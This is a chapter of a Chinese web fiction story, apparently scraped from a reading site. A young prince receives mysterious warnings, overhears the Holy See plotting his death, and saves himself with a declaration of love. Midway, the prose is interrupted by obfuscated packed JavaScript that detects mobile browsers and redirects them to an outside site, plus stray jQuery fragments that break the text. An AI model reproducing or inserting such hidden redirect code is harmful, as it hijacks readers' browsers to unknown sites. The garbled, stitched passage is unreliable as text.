就算梅斯菲尔只有十几岁，他也不相信这种荒诞的传言。


    所以他当真在某个夜晚不愿意回到寝室，抬起头来，却发现月亮被厚厚的云层遮得严严实实时，梅斯菲尔不过是抱着“试一试又没关系”的态度，冲着面前的墙，悄无声息地翕动着嘴唇：


    “要是真的有人能听到，就告诉我……我应该怎么活下去？”


    什么也没有发生。


    翠绿色眼眸的孩子垂着眼眸，那双眼睛不像是日后那样被许多人赞美为的那样漂亮或闪闪发光，而是黯淡又苍白，像毫无光彩的石头。他轻轻地吸了口气，然后又把它叹出来。


    就在这一刻。他忽然怔住了，仿佛看到了什么。


    是的，真的有什么发生了。


    就好像有一只无形的手漂浮在了他的面前，他眼前的石墙上缓慢浮现出了一串字迹。字迹雪白，就好像用白垩粉涂抹上去的那样。梅斯菲尔睁大了眼，惊愕地注视着面前神迹般的景象。他喃喃地读出了墙面上的字：


    “去、找、阿、诺、德……？”


    阿诺德·西尔维斯特，当今教廷的圣座。


    “你是谁？”梅斯菲尔问，“你能听到我说话吗？这真的是问题的解答吗？所以说……”


    他的手指碰到了面前矮矮的墙垣，指尖沾染上了一点白灰。然后他又立刻把手指缩回去。天呐，这是真实存在的，而不是幻觉。


    他尝试着和对面的人沟通：“可是我怎么能找到圣座陛下呢，而且他又不一定能帮我？我究竟要做点什么，如果你知道的话，就全部告诉我。”


    可是墙垣沉默地立在梅斯菲尔的面前。


    就在梅斯菲尔以为这就是今晚发生的全部时，新的字迹又浮现在了墙面上。这一次，年轻的孩子读的很困惑：


    “不、要、爱、上、他。”


    “什么？”梅斯菲尔惊讶地喊道。


    然而对方无视了他的反应，接着写道：


    “成、年、礼、前、那、晚、到、圣、堂、忏、悔、室、去。”


    这就是这位神秘的朋友，也可以说是一个不显踪影的幽灵给梅斯菲尔留下的唯一的几句话。


    在梅斯菲尔未来的人生中，每一句话几乎都救了他一命。


    比如说，他在走投无路时想起了这天晚上发生的事情，最终下定决心去圣座陛下面前做那次孤注一掷的尝试。


    又比如，尽管阿诺德是个对待别人非常恶劣的人。


    但梅斯菲尔顺从、乖觉、听话、毫无威胁，会用漂亮的绿眼睛看着他。


    所以他仍旧被允许越来越频繁地出现在圣座的身边，享受着那人难得的纵容。虽然这种纵容就像是对驯养好的猫猫狗狗，但终究是一种宠爱……有那么几个瞬间，梅斯菲尔以为自己是特殊的。


    如果一直这样下去，这或许就是他可以期待的归处。


    他们相处了四年呢。


    ——总有那么几个瞬间，梅斯菲尔觉得自己差一点……只差一点，就要爱上他了。


    命运的深渊在这一刻为他而打开。但他没有别的亲人，没有活着的好友，没有任何人爱他，也得不到自由。


    他怎么能不这样想呢？


    十七岁的最后一个晚上，梅斯菲尔在床上睁着眼睛，迟疑着，看到雪白色的窗帘被风掀开，冰凉的夜风将蔷薇花的芬芳卷进室内。


    他最终还是悄无声息地跳下床，噤声地踩着靴子，一直走到了大圣堂的侧门。圣堂的两边，月光将玻璃花窗的彩色斑驳地映在地面上，忏悔室的门虚掩着。


    梅斯菲尔将它悄然推开，不知道为什么手指颤抖。


    他侧身闪进去。忏悔室高高的墙壁遮挡住他的视线，有那么一会，他不知道自己在等待什么。直到脚步声响起来。他认得阿诺德的脚步，规律而稳定，每一步发出的声响都一模一样。


    “他马上成年了，”阿诺德冷漠地说，


    “这时候他要是死了，对你来说最有利。只要你慎重地安排他的死因。比起当时那个孩子，他要来的有价值得多。我交给你来处理，不要让我失望。”


    然后他长兄的声音响起。


    哈珀恭敬地说：“是。”梅斯菲尔能听出他声音最深处的一点喜悦。


    他们的脚步声又轻轻地响起，似乎是阿诺德向前走了几步。年轻皇子的绿眼睛死死地盯着自己前方的木板，几乎能想象到圣座此时此刻的模样。


    他一定像是每一次主持圣祷一样站在圣堂最前方的台上，唇角露出一抹温和的微笑，月光为他苍白的金发又涂抹上一层光辉。


    “有时候，”阿诺德说，“你太急进了。”


    梅斯菲尔的后颈猛地浮现出一层冷汗，他差点以为圣座在对自己说话。他眼前遮挡视线的这层厚厚的木板，在对方面前或许就像小孩子搭的积木。不过很快他就意识到谈话的对象不是他。


    “你想要在他刚刚被接回来时抹去他的存在。你安排了那些刺杀，当然，米加恩也在做。但是想一想。如果在那时候就把他置于你的庇护范围，让他站在你那一边，等到现在再动手。他本身就能帮到你。”


    圣座陛下停顿了一刹那，“而你对他身边那些人的干预，只会增加你的敌人。”


    哈珀是什么样的一个人，梅斯菲尔只记得他作为钦定继承人在人前发言光鲜亮丽的模样，但在这一刻，他的声音微弱如嗫嚅：“圣座，我以为您已经默许了……”


    “如果我每次不说话，你都认为我是默许，”


    阿诺德听起来在笑，他轻柔地说，“那我是不是永远不要开口比较好呢。”


    好恐怖。


    梅斯菲尔的指尖整个地冻住了。在那一瞬间他甚至有点怜悯哈珀，但很快，对他本人命运的悲观与犹疑就漫过他，一直没过他头顶的发旋。他如坠冰窟，什么也想不了，什么也做不到。


    他僵硬地站着，听着哈珀卑微地跪下来，用最谦卑的语气对这个人恳求；听到他们谈论他的性命，那个他以为至少有一点在乎他的人漠然地决定好了他的死；


    听到他们的脚步逐渐远去。


    听到他身体内的骨头咯吱咯吱地被恐惧冻出响声。


    梅斯菲尔猛地回过神。他轻轻地将圣堂的门推开一条小缝，溜了出来。外面的空气浑浊又冰冷，第二天就是他的成年礼。


    在这个夜晚，年轻的皇子就像是游荡在教廷的幽灵——比阿德里安还要更像——他游走在蔷薇花丛中，那些白蔷薇在月光下泛着淡淡的蓝色，露水沾染在他的衣裳上。


    他哆嗦着俯下身去，摘下最美丽的蔷薇。那些棘刺扎伤了他的手。


    直到天边泛起晨光……


    梅斯菲尔碰了碰自己的肩膀，确认自己还活着。这是他十八岁的第一个清晨。


    然后他笑起来。


    最开始，那副笑容完全不像样，但年轻的皇子逼迫自己把微笑中的愤怒、苦涩和恐惧都藏起来，直到找不到一点痕迹。


    他必须让自己成为阿诺德需要的人。


    他必须拥有足够特殊、足够亲近、足够不可取代的身份。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569422|170721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他微笑时，那双翠绿色的眼眸看起来很漂亮，和绯红色的长发靠在一起，鲜明的颜色深深地烙刻在任何看到他的人眼里。


    他已经用几年的时间洗去稚气，变得俊美又有吸引力。


    他从蔷薇花丛中站起来，微微偏过身。风吹动他的鬓发。


    圣座就这样停下脚步。


    年轻人捧着一大丛雪白的蔷薇，跌跌撞撞地向他走来，看起来有话要和他讲。梅斯菲尔显而易见在外面等了很久，他的身上满是露水，袍角也被冰冷的露珠打湿了。


    他轻轻地喘着气，把蔷薇递给他：


    “我爱您。”


    他这样说，“我非常、非常、非常爱您。我不知道您是否愿意接受我的感情，圣座，但是我无法克制地想要告诉您，即便这是神所不允许的爱，我也没办法瞒过我的心了。如果您因此要我去死，我绝不会有任何迟疑。可是我还是想要问出这句僭越的话：您是否愿意收下这束蔷薇呢？”


    蔷薇花散发着淡淡的芬芳。刺已经全部被摘掉了。看得出每一枝单独的花都经过了拣选，是各自花丛中最美丽的。


    阿诺德注视着他。


    注视着他的踟蹰、彷徨、引颈受戮般的态度。


    半响，圣座伸出手，接过了那束雪白的蔷薇。


    “成年礼快乐，梅斯菲尔。”


    在那一瞬，他看起来似乎有一点愉悦，“你该回去歇息了。”


    当天夜里，梅斯菲尔没有等来刺杀，而是等到了阿诺德让人送来的礼物。


    一枚翠绿的、价值连城的宝石。


    *


    梅斯菲尔坐在修道院那道窄窄的墙垣边，出神地凝视着前方的一点。


    但他没有真的在看任何东西，野花在他的脚边盛开，有一些较小的蝴蝶翩翩地飞着，带着褐色或者黑色的斑点。他的手指不时微微曲起，仿佛他真的在拨动着琴弦。


    无名的民谣进入了最后的、也就是最抒情的一部分。


    “说什么我也要远走高飞——”


    “高飞到覆盖着橄榄树的山坡上”


    “我祈祷的不是国王的王冠，而是我所爱的人的光辉”


    “亲爱的杰克呀，说什么我也要远走高飞……”


    他的声音忽然停住了。


    梅斯菲尔的手指还搭在他虚构出的琴弦上。他慢慢地睁开眼睛。一只长毛猫不知什么时候跳到了他的膝盖上，用软乎乎的脑袋蹭着他，好奇地看着他。


    梅斯菲尔笑起来。


    “我唱得不太好……”他轻声说，“这可不是随便什么东西都能进的地方。谁带你进来的？”


    那只猫显然对梅斯菲尔很感兴趣，蹭地一下蹿上了年轻人的肩膀，开始咬他的头发，仿佛那是一束丰满多汁的红莓。那可能有点疼，但一定很痒。


    梅斯菲尔笑得更厉害了，那双翠绿色的眼睛在春日半明半暗的色调中显得苍白又明亮。


    “好啦，好啦，”


    梅斯菲尔说，“你看起来很干净，所以我猜应该一直有人照顾你，或许你有个地位不凡的主人？我反正是不敢对你做什么了……那么我可不可以假设你赖着不走是因为喜欢我？”


    他笑起来真的很好看。


    在离他不远的地方，刚刚结束了演讲的圣座停下了脚步。阿诺德遥遥地望向前方的青年，忽然觉得在些微的日光下，梅斯菲尔扬起的嘴角显得格外轻松、温和、真挚。


    不知为何，


    他好像从来没有在自己面前露出过这样的笑容。